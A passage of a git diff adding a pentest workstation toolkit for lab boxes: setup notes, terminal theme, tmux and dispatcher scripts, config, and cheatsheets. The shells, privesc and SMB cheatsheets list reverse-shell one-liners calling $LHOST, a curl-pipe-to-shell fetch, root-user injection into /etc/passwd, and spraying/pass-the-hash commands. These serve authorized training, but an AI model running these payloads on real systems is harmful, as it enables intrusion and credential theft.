+visual setup, tmux, VPN, recon, web, AD, privilege-escalation, transfer, and
+toolbox pages. Use only against systems you are authorized to test.
+
+## Desktop β GNOME/XFCE and optional BSPWM
+
+A Rose-Pine tiling desktop (X11) deployed alongside the toolkit. After install,
+**log out and pick the `bspwm` session** at the greeter (or `startx` after
+`cp ~/.config/pentest-env/wm/xinitrc ~/.xinitrc`). Configs are symlinked from
+`wm/`, so editing a file in the repo updates the live rice immediately.
+
+Stack: **bspwm** (WM) Β· **sxhkd** (keys) Β· **Polybar** (bar) Β· **Rofi** (launcher) Β·
+**picom** (compositor: rounded corners, blur, fade) Β· **dunst** (notifications).
+
+The Polybar right cluster surfaces the **active `pe` target** (gold flag) and the
+**VPN `tun0` IP** (foam shield) β click the flag to switch targets without leaving
+the bar.
+
+Key bindings (`super` = Mod4 / the β key β full list in `wm/sxhkd/sxhkdrc`):
+
+| Keys | Action |
+|------|--------|
+| `super + Return` | terminal (Alacritty) |
+| `super + space` | app launcher (Rofi) |
+| `super + Tab` | window switcher |
+| `super + shift + Return` | browser Β· `super + e` files |
+| `super + r` | run dialog Β· `super + shift + e` power menu |
+| `super + w` / `super + shift + w` | close / kill window |
+| `super + {h,j,k,l}` | focus window (vim dirs) |
+| `super + shift + {h,j,k,l}` | swap window |
+| `super + alt + {h,j,k,l}` | resize window |
+| `super + {1-9,0}` | go to desktop Β· add `shift` to send window |
+| `super + {t,s,f}` | tiled / floating / fullscreen |
+| `super + ctrl + {h,j,k,l}` | preselect split direction |
+| `super + Escape` / `super + shift + r` | reload sxhkd / restart bspwm |
+| `Print` / `super + Print` / `shift + Print` | screenshot full / region / window |
+| media & brightness keys | volume Β· play-pause Β· brightness |
+
+Don't want it? Re-run with `--no-wm`, or `~/.config/pentest-env/wm/setup-wm.sh --unlink`.
+
+## Layout
+
+```
+~/.config/pentest-env/ config + code (config.sh, lib/, zsh/, tmux/, theme/, guide/, cheatsheets/)
+~/.local/share/pentest-env/ pentest.db (encrypted) + backups/
+~/.local/state/pentest-env/ active target pointer + GPG-wrapped DB key
+~/.local/bin/pe symlink to the dispatcher
+~/.local/bin/htb-session deterministic per-target tmux workspace
+~/.config/{bspwm,sxhkd,polybar,rofi,picom,dunst} symlinks -> ~/.config/pentest-env/wm/*
+```
+
+## Security
+
+- The entire database is encrypted at rest (SQLCipher, `cipher_compatibility=4`).
+ Credential values are therefore stored without extra per-field crypto.
+- The key is a random 256-bit value, GPG-symmetric-wrapped with a passphrase you
+ choose. It is fed to SQLCipher on **stdin**, never as a process argument.
+- All user input is passed through `db_quote` (SQL-injection safe).
+- DB, key, and backups are created `0600`; data/state dirs `0700`.
+- For automation, export `PENTEST_DB_KEY` to bypass the keyfile.
+
+## Repo structure
+
+```
+install.sh master installer (idempotent, --dry-run/--uninstall)
+config/ the payload deployed to ~/.config/pentest-env
+ config.sh paths + Rose-Pine palette (single source of truth)
+ schema.sql SQLCipher schema
+ bin/pe dispatcher
+ lib/*.sh ui, db, target, host, flag, cred, note, backup, cheat, guide, vpn
+ zsh/*.zsh loader, plugins, aliases, functions, prompt
+ tmux/tmux.conf Rose-Pine tmux config
+ alacritty/ Rose-Pine alacritty.toml
+ theme/ GNOME/XFCE Rose Pine profiles + wallpaper + rollback
+ wm/ BSPWM rice: bspwm/ sxhkd/ polybar/ rofi/ picom/ dunst/ + setup-wm.sh
+ scripts/ parallels-tools.sh (Parallels Tools installer)
+ cheatsheets/*.md env + tool cheatsheets
+ guide/*.html offline searchable Rose Pine Dawn field manual
+```
+
+## Parallels VM (Kali guest)
+
+Installing Parallels Tools on Kali often fails with **"Permission denied"**
+because the Tools ISO auto-mounts with `noexec`, so its `./install` can't run.
+The bundled helper fixes this β it unmounts the CD, remounts it at
+`/mnt/parallels-tools` with `exec`, installs the kernel build deps, and runs
+the installer:
+
+```sh
+# 1. Parallels menu: Actions > Install Parallels Tools (attaches the CD)
+# 2. in the Kali guest:
+pt-install # installed by install.sh onto your PATH (self-elevates)
+# or run it from the repo without installing:
+./config/scripts/parallels-tools.sh
+sudo reboot # after it completes
+
+# variants:
+pt-install --mount-only # just remount exec; run ./install yourself
+pt-install --no-deps # skip the apt build-deps step
+```
+
+`install.sh --parallels-tools` runs the same helper as part of a full install
+(attach the Tools CD first).voidwalker/integrations/assets/pentest-env/config/alacritty/alacritty.toml
new file mode 100644
@@ -0,0 +1,85 @@
+# alacritty.toml β pentest-env Rose Pine.
+# Installed to ~/.config/alacritty/alacritty.toml by install.sh.
+# Palette matches xfce4-terminal, zsh and tmux so every surface is unified.
+# (TOML format requires Alacritty >= 0.13; Kali ships a newer build.)
+
+[window]
+opacity = 0.96
+padding = { x = 10, y = 8 }
+dynamic_title = true
+decorations = "none"
+
+[font]
+size = 11.0
+normal = { family = "MesloLGS NF", style = "Regular" }
+bold = { family = "MesloLGS NF", style = "Bold" }
+italic = { family = "MesloLGS NF", style = "Italic" }
+
+[scrolling]
+history = 100000
+
+[selection]
+save_to_clipboard = true
+
+# ---------------------------------------------------------------------------
+# Rose Pine colours
+# ---------------------------------------------------------------------------
+[colors.primary]
+background = "#191724"
+foreground = "#e0def4"
+
+[colors.cursor]
+text = "#191724"
+cursor = "#e0def4"
+
+[colors.vi_mode_cursor]
+text = "#191724"
+cursor = "#c4a7e7"
+
+[colors.selection]
+text = "#e0def4"
+background = "#403d52"
+
+[colors.normal]
+black = "#26233a"
+red = "#eb6f92"
+green = "#31748f"
+yellow = "#f6c177"
+blue = "#9ccfd8"
+magenta = "#c4a7e7"
+cyan = "#ebbcba"
+white = "#e0def4"
+
+[colors.bright]
+black = "#6e6a86"
+red = "#eb6f92"
+green = "#31748f"
+yellow = "#f6c177"
+blue = "#9ccfd8"
+magenta = "#c4a7e7"
+cyan = "#ebbcba"
+white = "#e0def4"
+
+[[colors.indexed_colors]]
+index = 16
+color = "#f6c177"
+
+[[colors.indexed_colors]]
+index = 17
+color = "#ebbcba"
+
+[colors.search.matches]
+foreground = "#191724"
+background = "#f6c177"
+
+[colors.search.focused_match]
+foreground = "#191724"
+background = "#eb6f92"
+
+[colors.hints.start]
+foreground = "#191724"
+background = "#f6c177"
+
+[colors.hints.end]
+foreground = "#191724"
+background = "#908caa"voidwalker/integrations/assets/pentest-env/config/bin/htb-session
new file mode 100755
@@ -0,0 +1,54 @@
+#!/usr/bin/env bash
+# htb-session β deterministic, secret-safe tmux workspace for the active box.
+set -euo pipefail
+umask 077
+
+: "${PE_CONFIG_DIR:=${XDG_CONFIG_HOME:-$HOME/.config}/pentest-env}"
+# shellcheck source=../config.sh
+source "$PE_CONFIG_DIR/config.sh"
+export PATH="$HOME/go/bin:$HOME/.cargo/bin:$HOME/.local/bin:$PATH"
+
+command -v tmux >/dev/null 2>&1 || { printf 'tmux is not installed\n' >&2; exit 1; }
+pe_dirs_ensure
+
+if [[ $# -gt 0 ]]; then
+ "$PE_BIN_DIR/pe" target use "$1" >/dev/null
+fi
+
+if [[ -s $PE_ACTIVE_DISPLAY_FILE ]]; then
+ target_name=$(awk -F' \\| ' '{print $1}' "$PE_ACTIVE_DISPLAY_FILE")
+else
+ target_name=lab
+fi
+
+slug=$(printf '%s' "$target_name" | tr -cs '[:alnum:]_.-' '-' | sed 's/^-//;s/-$//')
+[[ -n $slug ]] || slug=lab
+session="htb-$slug"
+workdir="$PE_WORKROOT/$slug"
+
+mkdir -p "$workdir"/{nmap,scans,loot,web,exploit,notes}
+chmod -R go-rwx "$workdir"
+touch "$workdir/notes/notes.md"
+
+session_shell=${SHELL:-}
+if [[ ! -x $session_shell ]]; then
+ session_shell=$(command -v zsh || command -v bash || command -v sh)
+fi
+
+if ! tmux has-session -t "=$session" 2>/dev/null; then
+ tmux new-session -d -s "$session" -n recon -c "$workdir"
+ tmux split-window -h -p 38 -t "$session:recon" -c "$workdir"
+ tmux split-window -v -p 50 -t "$session:recon.2" -c "$workdir"
+ tmux select-pane -t "$session:recon.1"
+
+ tmux new-window -d -t "$session:" -n shell -c "$workdir"
+ tmux new-window -d -t "$session:" -n notes -c "$workdir" \
+ "$session_shell" -lc 'exec "${EDITOR:-vim}" notes/notes.md'
+ tmux select-window -t "$session:recon"
+fi
+
+if [[ -n ${TMUX:-} ]]; then
+ exec tmux switch-client -t "=$session"
+else
+ exec tmux attach-session -t "=$session"
+fivoidwalker/integrations/assets/pentest-env/config/bin/pe
new file mode 100755
@@ -0,0 +1,106 @@
+#!/usr/bin/env bash
+# pe β pentest-env dispatcher. `pe <noun> <verb> [args]`.
+# Lives at $PE_CONFIG_DIR/bin/pe; usually invoked via a ~/.local/bin/pe symlink.
+# (No `set -u`: optional positionals like `pe status` must fall through to a
+# friendly usage message, not an "unbound variable" abort.) Pipe failures do
+# need to propagate: SQLCipher is intentionally driven through stdin pipelines.
+set -o pipefail
+umask 077
+
+# --- locate ourselves (resolve symlinks) so we can find config.sh + lib/ -----
+pe__realpath() {
+ _p=$1
+ while [ -L "$_p" ]; do
+ _l=$(readlink "$_p")
+ case $_l in /*) _p=$_l ;; *) _p=$(dirname "$_p")/$_l ;; esac
+ done
+ cd "$(dirname "$_p")" 2>/dev/null && printf '%s/%s' "$(pwd -P)" "$(basename "$_p")"
+}
+PE_SELF=$(pe__realpath "$0")
+PE_BIN_DIR=$(dirname "$PE_SELF")
+: "${PE_CONFIG_DIR:=$(dirname "$PE_BIN_DIR")}"
+export PE_CONFIG_DIR
+
+# --- load foundation (always needed) ----------------------------------------
+. "$PE_CONFIG_DIR/config.sh"
+. "$PE_LIB_DIR/ui.sh"
+. "$PE_LIB_DIR/db.sh"
+. "$PE_LIB_DIR/target.sh"
+
+# `pe` also works from launchers and tmux where interactive shell startup has
+# not yet added the isolated Go/Rust/Python tool locations.
+PATH="$HOME/go/bin:$HOME/.cargo/bin:$HOME/.local/bin:$PATH"
+export PATH
+
+# pe__lib NAME -> source lib/NAME.sh once (idempotent).
+pe__lib() {
+ eval "case \${PE__LOADED_$1:-} in 1) return 0 ;; esac"
+ . "$PE_LIB_DIR/$1.sh"
+ eval "PE__LOADED_$1=1"
+}
+
+pe_usage() {
+ cat <<'USAGE'
+pe β pentest-env toolkit
+
+ pe init create + key the encrypted database
+ pe status show the active target (box | ip | flags)
+ pe doctor audit tools, VPN, wordlists and permissions
+ pe vpn <import|ls|up|status> manage private HTB OpenVPN profiles
+ pe session [target] open the deterministic HTB tmux workspace
+
+ pe target | t <add|use|ls|show|status|current|edit|rm>
+ pe flag | f <add|ls|show|search|rm>
+ pe cred | c <add|ls|show|valid|search|rm>
+ pe host | h <add|ls|show|port|rm>
+ pe note | n <add|ls|show|edit|search|rm>
+
+ pe backup snapshot the database (gzip, retained)
+ pe restore restore from a backup (fzf picker)
+ pe reset wipe all rows, keep the schema
+ pe destroy delete the database file entirely
+ pe cheat [query] browse/search cheatsheets
+ pe guide [page|list|path] open the offline HTML handbook
+
+ pe help | -h | --help this text
+USAGE
+}
+
+pe_init() {
+ pe_need "$PE_SQLCIPHER"
+ pe_dirs_ensure
+ # no key available yet -> generate a GPG-wrapped one (unless using env key)
+ if [ -z "${PENTEST_DB_KEY:-}" ] && [ ! -f "$PE_KEYFILE" ]; then
+ pe_info "no key found β generating a GPG-wrapped SQLCipher key"
+ db_genkey
+ fi
+ db_init
+ pe_info "next: pe target add <name>"
+}
+
+main() {
+ _cmd=${1:-help}; [ $# -gt 0 ] && shift
+ case $_cmd in
+ init) pe_init "$@" ;;
+ doctor) pe__lib doctor; doctor_main "$@" ;;
+ vpn) pe__lib vpn; vpn_main "$@" ;;
+ session) exec "$PE_BIN_DIR/htb-session" "$@" ;;
+ status) db_require; target_status "$@" ;;
+ target|t) db_require; target_main "$@" ;;
+ flag|f) db_require; pe__lib flag; flag_main "$@" ;;
+ cred|c) db_require; pe__lib cred; cred_main "$@" ;;
+ host|h) db_require; pe__lib host; host_main "$@" ;;
+ note|n) db_require; pe__lib note; note_main "$@" ;;
+ backup) db_require; pe__lib backup; backup_create "$@" ;;
+ restore) pe__lib backup; backup_restore "$@" ;;
+ reset) db_require; pe__lib backup; backup_reset "$@" ;;
+ destroy) pe__lib backup; backup_destroy "$@" ;;
+ cheat) pe__lib cheat; cheat_main "$@" ;;
+ guide) pe__lib guide; guide_main "$@" ;;
+ version|-v|--version) printf 'pe (pentest-env) 1.1\n' ;;
+ help|-h|--help) pe_usage ;;
+ *) pe_err "unknown command: $_cmd"; pe_usage; exit 2 ;;
+ esac
+}
+
+main "$@"voidwalker/integrations/assets/pentest-env/config/cheatsheets/env.md
new file mode 100644
@@ -0,0 +1,172 @@
+# pentest-env β how to use this environment
+
+The meta-cheatsheet. Open it any time with **`pe cheat env`** (or `cheatenv`).
+For the visual offline handbook, run **`pe guide`** (or `pe guide tmux`,
+`pe guide recon`, and the other module names).
+
+Everything lives behind one command: **`pe`**. Data is stored in an encrypted
+SQLCipher database and organised **target-first** β pick an active box, and
+every flag/cred/host/note you add attaches to it automatically.
+
+---
+
+## First run
+
+```sh
+pe init # create + key the encrypted database
+pe target add Cap --ip 10.10.10.245 --platform htb
+pe doctor # audit tools, permissions, VPN and wordlists
+pe vpn import ~/Downloads/lab.ovpn lab
+pe vpn up lab # foreground OpenVPN session
+newbox Cap 10.10.10.245 htb # activate target + private worktree
+htb-session # deterministic tmux cockpit
+# (adding a target makes it active automatically)
+```
+
+## The active target
+
+The "active target" is the box you're working on. New flags/creds/hosts/notes
+attach to it; the zsh prompt (right side) and tmux status bar show it.
+
+```sh
+pe target use Cap # switch active target (by name or id)
+tu Cap # alias
+pe status # name | ip | flag-count
+Ctrl-X t # fzf-pick the active target
+```
+
+---
+
+## Targets ( alias: `t` )
+
+```sh
+pe target add <name> [--ip x] [--platform htb|thm|ctf|client] [--hostname h] [--os o] [--difficulty d]
+pe target ls # table; '*' marks the active one (tl)
+pe target use <name|id> # set active (tu)
+pe target show [name|id] # full detail incl. flags/creds/hosts
+pe target status # one-line summary (ts)
+pe target edit <id> --ip ... --status owned
+pe target rm <name|id> # cascade-deletes its flags/creds/hosts/notes (double-confirm)
+```
+
+## Flags ( alias: `f` )
+
+```sh
+pe flag add [type] <value> [--notes n] [--target T] # type: user|root|web|blood (default user)
+pe flag ls [--all] # active target, or every target with --all (fl)
+pe flag show <id>
+pe flag search <term>
+pe flag rm <id>
+Ctrl-X f # fzf-pick a flag, paste its value at the cursor
+```
+
+## Credentials ( alias: `c` ) β stored encrypted (whole DB is SQLCipher)
+
+```sh
+pe cred add -u <user> -s <secret> [-t password|hash|ssh-key|token] [-S service] [--source s] [--host id] [--target T]
+pe cred ls [--all] (cl)
+pe cred show <id>
+pe cred valid <id> 1|0 # mark what works / what doesn't
+pe cred search <term>
+pe cred rm <id>
+Ctrl-X c # fzf-pick a cred, paste its secret at the cursor
+```
+
+## Hosts & ports ( alias: `h` ) β pivot / internal boxes under a target
+
+```sh
+pe host add --ip <x> [--hostname h] [--os o] [--label l] [--target T] (hl = list)
+pe host ls [--all]
+pe host show <id> # host detail + recorded ports
+pe host port <host_id> <port> [--proto tcp] [--service ssh] [--version v]
+pe host rm <id>
+```
+
+## Notes ( alias: `n` ) β quick scratch notes, per-target or global
+
+```sh
+pe note add -t <title> [-b body] [--tags x] [--target T] [--global]
+# no -b -> opens $EDITOR (or reads piped stdin)
+pe note ls [--all] [--global] (nl)
+pe note show <id>
+pe note edit <id> [-t title] [-b body] [--tags x]
+pe note search <term>
+pe note rm <id>
+```
+
+---
+
+## Backup / restore / wipe
+
+```sh
+pe backup # integrity-checked, gzip, timestamped, auto-pruned (peb)
+pe restore # fzf-pick a backup; validate it before the swap,
+ # then snapshot the current DB and replace atomically
+pe reset # wipe ALL rows, keep schema (snapshots first, type RESET)
+pe destroy # delete the DB file entirely (backups kept, type DESTROY)
+```
+
+Backups: `~/.local/share/pentest-env/backups/` Β· retention = `$PE_BACKUP_RETENTION` (20).
+
+## Cheatsheets
+
+```sh
+pe cheat # fzf list of sheets, live preview (alias: cheat)
+pe cheat <query> # ripgrep across all sheets
+pe cheat env # this file
+```
+
+---
+
+## Workflow helpers (zsh functions)
+
+```sh
+newbox <name> <ip> [plat] # add+activate a target and make ~/htb/<name>/{nmap,loot,www,...}; cd in
+tip # print active target IP (also -> clipboard via xclip)
+useip # export $IP and $RHOST from the active target
+scan [ip] # nmap -sCV into ./nmap (defaults to active target IP)
+```
+
+## Keybindings (zsh)
+
+| Key | Action |
+|-----------|-----------------------------------------|
+| `Ctrl-X t`| fzf-switch the active target |
+| `Ctrl-X f`| insert a flag value at the cursor |
+| `Ctrl-X c`| insert a credential secret at the cursor|
+| `ESC ESC` | prepend `sudo` to the current line |
+
+## tmux
+
+| Key (prefix `C-b` or `C-a`) | Action |
+|-----------------------------|-------------------------|
+| `prefix |` / `prefix -` | split horizontal / vertical |
+| `prefix h/j/k/l` | move between panes |
+| `prefix H/J/K/L` | resize pane |
+| `prefix P` | 3-pane HTB layout |
+| `prefix r` | reload tmux.conf |
+| `prefix V` | foreground VPN window |
+
+Tmux is intentionally plugin-free: detach/reattach while the server runs, but
+pane commands and scrollback are never serialized to disk because they may
+contain credentials or tokens.
+
+---
+
+## Where things live (XDG)
+
+| What | Path |
+|-----------------|-------------------------------------------------|
+| Config + code | `~/.config/pentest-env/` |
+| Encrypted DB | `~/.local/share/pentest-env/pentest.db` |
+| Backups | `~/.local/share/pentest-env/backups/` |
+| Active target | `~/.local/state/pentest-env/active_target` |
+| DB key (wrapped)| `~/.local/state/pentest-env/db.key.gpg` |
+| Alacritty theme | `~/.config/alacritty/alacritty.toml` (Rose-Pine)|
+
+## Database key
+
+On `pe init` a random 256-bit key is generated and GPG-symmetric-wrapped
+(you choose the passphrase). The DB is decrypted on demand; gpg-agent caches
+the passphrase. For automation, set `PENTEST_DB_KEY` in the environment to skip
+the keyfile entirely.voidwalker/integrations/assets/pentest-env/config/cheatsheets/htb-workflow.md
new file mode 100644
@@ -0,0 +1,45 @@
+# HTB workstation workflow
+
+## Health and VPN
+
+```sh
+pe doctor
+pe vpn import ~/Downloads/lab.ovpn lab
+pe vpn up lab # foreground; Ctrl-C disconnects
+pe vpn status
+pe vpn route "$IP"
+```
+
+## Target and workspace
+
+```sh
+newbox <name> <ip>
+useip # exports IP and RHOST
+htb-session # or prefix + P inside tmux
+pe status
+```
+
+## Route-guarded recon
+
+```sh
+scan # -Pn -sCV, all output formats
+fullscan # all TCP ports
+udpquick # top 100 UDP ports (sudo)
+webenum 'http://target/FUZZ' # sparse SecLists, DIRB fallback
+```
+
+## tmux
+
+| Key | Action |
+|---|---|
+| `C-b` or `C-a` | prefix |
+| `prefix + P` | active HTB workspace |
+| `prefix + V` | VPN window |
+| `prefix + |` / `-` | split pane |
+| `prefix + h/j/k/l` | move between panes |
+| `prefix + C-s` | toggle synchronized panes |
+| copy mode `v`, `y` | select and copy via OSC52 |
+
+Tmux persistence is intentionally disabled: resurrect-style files can retain
+process command lines and secrets. Prefix sensitive shell commands with a
+leading space so Zsh's history settings omit them as well.voidwalker/integrations/assets/pentest-env/config/cheatsheets/linux-privesc.md
new file mode 100644
@@ -0,0 +1,40 @@
+# Linux privesc
+
+## Auto-enum
+```sh
+./linpeas.sh | tee linpeas.txt
+# serve from attacker: python3 -m http.server 80 ; on target: curl http://$LHOST/linpeas.sh|sh
+```
+
+## Quick manual checks
+```sh
+id; sudo -l # sudo rights (GTFOBins!)
+find / -perm -4000 -type f 2>/dev/null # SUID binaries
+getcap -r / 2>/dev/null # capabilities
+cat /etc/crontab; ls -la /etc/cron.* # cron jobs
+ps aux --forest # running as root?
+uname -a; cat /etc/os-release # kernel / distro (exploits)
+ss -tlnp # internal services to pivot
+```
+
+## Common wins
+| Finding | Exploit |
+|---------|---------|
+| `sudo -l` allows a binary | check **GTFOBins** for that binary |
+| SUID `find/vim/nmap/...` | GTFOBins SUID section |
+| writable `/etc/passwd` | add root user with `openssl passwd` hash |
+| writable cron script | drop a reverse shell, wait |
+| `cap_setuid` on python/perl | `python3 -c 'import os;os.setuid(0);os.system("/bin/sh")'` |
+| docker group | `docker run -v /:/mnt -it alpine chroot /mnt sh` |
+
+## Writable /etc/passwd
+```sh
+openssl passwd -1 -salt x pass # -> $1$x$...
+echo 'r00t:$1$x$...:0:0::/root:/bin/bash' >> /etc/passwd
+su r00t
+```
+
+## Spawn after escalation
+```sh
+echo 'int main(){setuid(0);system("/bin/bash");}' # for writable SUID-owned source
+```voidwalker/integrations/assets/pentest-env/config/cheatsheets/nmap.md
new file mode 100644
@@ -0,0 +1,33 @@
+# nmap
+
+## Quick recon
+```sh
+# fast full TCP port sweep, then targeted service scan
+nmap -p- --min-rate 5000 -T4 -Pn $IP -oN nmap/allports.txt
+ports=$(grep -oP '^\d+(?=/tcp)' nmap/allports.txt | paste -sd,)
+nmap -sC -sV -p"$ports" -Pn $IP -oN nmap/services.txt
+```
+
+## Common flags
+| Flag | Meaning |
+|------|---------|
+| `-sC` | default NSE scripts |
+| `-sV` | service/version detection |
+| `-p-` | all 65535 ports |
+| `-Pn` | skip host discovery (assume up) |
+| `-sU` | UDP scan |
+| `--min-rate 5000` | packets/sec floor (fast) |
+| `-oN/-oG/-oX` | normal / grepable / xml output |
+| `-A` | OS + version + scripts + traceroute |
+
+## UDP top ports
+```sh
+nmap -sU --top-ports 100 -Pn $IP -oN nmap/udp.txt
+```
+
+## NSE
+```sh
+nmap --script vuln $IP
+nmap --script "smb-enum*" -p445 $IP
+ls /usr/share/nmap/scripts | grep <service>
+```voidwalker/integrations/assets/pentest-env/config/cheatsheets/shells.md
new file mode 100644
@@ -0,0 +1,35 @@
+# reverse shells & upgrades
+
+Set your listener: `nc -lvnp 4444` Β· `LHOST=$(tun)` `LPORT=4444`
+
+## Payloads
+```sh
+# bash
+bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
+# bash (no /dev/tcp)
+sh -i >& /dev/udp/$LHOST/$LPORT 0>&1
+# nc
+nc -e /bin/sh $LHOST $LPORT
+rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f
+# python
+python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",'$LPORT'));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
+# php
+php -r '$s=fsockopen("'$LHOST'",'$LPORT');exec("/bin/sh -i <&3 >&3 2>&3");'
+# powershell (one-liner; base64 it for delivery)
+powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sn=([Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sn,0,$sn.Length);$s.Flush()}"
+```
+
+## Upgrade a dumb shell to a TTY
+```sh
+python3 -c 'import pty;pty.spawn("/bin/bash")'
+# then: Ctrl-Z
+stty raw -echo; fg
+# then in the shell:
+export TERM=xterm; stty rows 50 cols 200
+```
+
+## msfvenom
+```sh
+msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o sh.elf
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o sh.exe
+```voidwalker/integrations/assets/pentest-env/config/cheatsheets/smb.md
new file mode 100644
@@ -0,0 +1,35 @@
+# SMB / Windows enum
+
+## Enumerate
+```sh
+nmap --script "smb-enum*,smb-os-discovery,smb-security-mode" -p445 $IP
+enum4linux-ng -A $IP
+nxc smb $IP # netexec (crackmapexec successor)
+nxc smb $IP -u '' -p '' --shares # null session
+nxc smb $IP -u guest -p '' --shares
+```
+
+## List / mount shares
+```sh
+smbclient -L //$IP -N # null list
+smbclient //$IP/share -N # connect (anonymous)
+smbclient //$IP/share -U 'user%pass'
+mount -t cifs //$IP/share /mnt/s -o username=user,password=pass
+```
+
+## Spray / auth with creds
+```sh
+nxc smb $IP -u users.txt -p passwords.txt --continue-on-success
+nxc smb $IP -u user -p pass --shares --sessions --users --groups
+nxc smb $IP -u user -H <NTLM_HASH> # pass-the-hash
+```
+
+## RPC / users
+```sh
+rpcclient -U '' -N $IP # then: enumdomusers, querydispinfo
+```
+
+## Grab files recursively
+```sh
+smbclient //$IP/share -N -c 'recurse ON; prompt OFF; mget *'
+```voidwalker/integrations/assets/pentest-env/config/config.sh
new file mode 100644
@@ -0,0 +1,85 @@
+# shellcheck shell=sh
+# config.sh β single source of truth for the pentest-env ("pe") toolkit.
+# Sourced by: bin/pe (bash), every lib/*.sh, and zsh/pentest.zsh (zsh).
+# Therefore: keep this POSIX-plain (no bashisms, no `local`, no arrays).
+# Installed location: $XDG_CONFIG_HOME/pentest-env/config.sh
+#
+# Every value uses `: "${VAR:=default}"` so callers (and the test harness)
+# can override any path via the environment WITHOUT editing this file.
+
+# --- XDG base directories (with spec-compliant fallbacks) -------------------
+: "${XDG_CONFIG_HOME:=$HOME/.config}"
+: "${XDG_DATA_HOME:=$HOME/.local/share}"
+: "${XDG_STATE_HOME:=$HOME/.local/state}"
+
+# --- pe directories ---------------------------------------------------------
+: "${PE_CONFIG_DIR:=$XDG_CONFIG_HOME/pentest-env}"
+: "${PE_DATA_DIR:=$XDG_DATA_HOME/pentest-env}"
+: "${PE_STATE_DIR:=$XDG_STATE_HOME/pentest-env}"
+
+: "${PE_LIB_DIR:=$PE_CONFIG_DIR/lib}"
+: "${PE_BIN_DIR:=$PE_CONFIG_DIR/bin}"
+: "${PE_CHEAT_DIR:=$PE_CONFIG_DIR/cheatsheets}"
+: "${PE_GUIDE_DIR:=$PE_CONFIG_DIR/guide}"
+: "${PE_WORDLIST_ROOT_FILE:=$PE_CONFIG_DIR/wordlist-root}"
+: "${PE_SCHEMA:=$PE_CONFIG_DIR/schema.sql}"
+: "${PE_WORKROOT:=$HOME/htb}"
+: "${PE_VPN_DIR:=$XDG_CONFIG_HOME/htb/vpn}"
+
+# Prefer the deliberately sparse SecLists checkout used by this environment,
+# then fall back to Ubuntu's small built-in DIRB lists.
+if [ -z "${PE_WORDLIST_ROOT:-}" ]; then
+ if [ -s "$PE_WORDLIST_ROOT_FILE" ]; then
+ IFS= read -r PE_WORDLIST_ROOT < "$PE_WORDLIST_ROOT_FILE" || PE_WORDLIST_ROOT=""
+ [ -d "$PE_WORDLIST_ROOT" ] || PE_WORDLIST_ROOT=""
+ fi
+ if [ -z "${PE_WORDLIST_ROOT:-}" ] && [ -d "$HOME/voidwalker/wordlists/SecLists" ]; then
+ PE_WORDLIST_ROOT="$HOME/voidwalker/wordlists/SecLists"
+ elif [ -z "${PE_WORDLIST_ROOT:-}" ] && [ -d /usr/share/seclists ]; then
+ PE_WORDLIST_ROOT=/usr/share/seclists
+ elif [ -z "${PE_WORDLIST_ROOT:-}" ]; then
+ PE_WORDLIST_ROOT=/usr/share/dirb/wordlists
+ fi
+fi
+
+# --- data / state files -----------------------------------------------------
+: "${PE_DB:=$PE_DATA_DIR/pentest.db}"
+: "${PE_BACKUP_DIR:=$PE_DATA_DIR/backups}"
+: "${PE_ACTIVE_TARGET_FILE:=$PE_STATE_DIR/active_target}"
+# Plaintext "name | ip" cache for the hot read path (prompt + tmux bar) so they
+# never decrypt the DB. Written by `pe target use`; read by zsh/tmux.
+: "${PE_ACTIVE_DISPLAY_FILE:=$PE_STATE_DIR/active_target_display}"
+: "${PE_KEYFILE:=$PE_STATE_DIR/db.key.gpg}" # GPG-wrapped SQLCipher key (optional)
+
+# --- behaviour defaults -----------------------------------------------------
+: "${PE_BACKUP_RETENTION:=20}" # how many timestamped backups to keep
+: "${PE_DEFAULT_PLATFORM:=htb}" # default target platform
+: "${PE_SQLCIPHER:=sqlcipher}" # binary name (override for tests/portability)
+: "${PE_GPG:=gpg}"
+: "${PE_PAGER:=less -R}"
+
+# --- Rose Pine palette (hex) ------------------------------------------------
+# Used by ui.sh (terminal), tmux.conf, zsh/prompt.zsh, and the XFCE theme so
+# every surface shares one palette.
+PE_RP_BASE='#191724'; PE_RP_SURFACE='#1f1d2e'; PE_RP_OVERLAY='#26233a'
+PE_RP_MUTED='#6e6a86'; PE_RP_SUBTLE='#908caa'; PE_RP_TEXT='#e0def4'
+PE_RP_LOVE='#eb6f92'; PE_RP_GOLD='#f6c177'; PE_RP_ROSE='#ebbcba'
+PE_RP_PINE='#31748f'; PE_RP_FOAM='#9ccfd8'; PE_RP_IRIS='#c4a7e7'
+PE_RP_HL_HIGH='#524f67'
+export PE_RP_BASE PE_RP_SURFACE PE_RP_OVERLAY PE_RP_MUTED PE_RP_SUBTLE \
+ PE_RP_TEXT PE_RP_LOVE PE_RP_GOLD PE_RP_ROSE PE_RP_PINE PE_RP_FOAM \
+ PE_RP_IRIS PE_RP_HL_HIGH
+
+export PE_CONFIG_DIR PE_DATA_DIR PE_STATE_DIR PE_LIB_DIR PE_BIN_DIR \
+ PE_CHEAT_DIR PE_GUIDE_DIR PE_SCHEMA PE_DB PE_BACKUP_DIR PE_ACTIVE_TARGET_FILE \
+ PE_ACTIVE_DISPLAY_FILE PE_KEYFILE PE_BACKUP_RETENTION \
+ PE_DEFAULT_PLATFORM PE_SQLCIPHER PE_GPG PE_PAGER PE_WORKROOT \
+ PE_VPN_DIR PE_WORDLIST_ROOT PE_WORDLIST_ROOT_FILE
+
+# pe_dirs_ensure: create the runtime dirs with safe perms. Idempotent.
+pe_dirs_ensure() {
+ mkdir -p "$PE_DATA_DIR" "$PE_STATE_DIR" "$PE_BACKUP_DIR" \
+ "$PE_WORKROOT" "$PE_VPN_DIR" 2>/dev/null || return 1
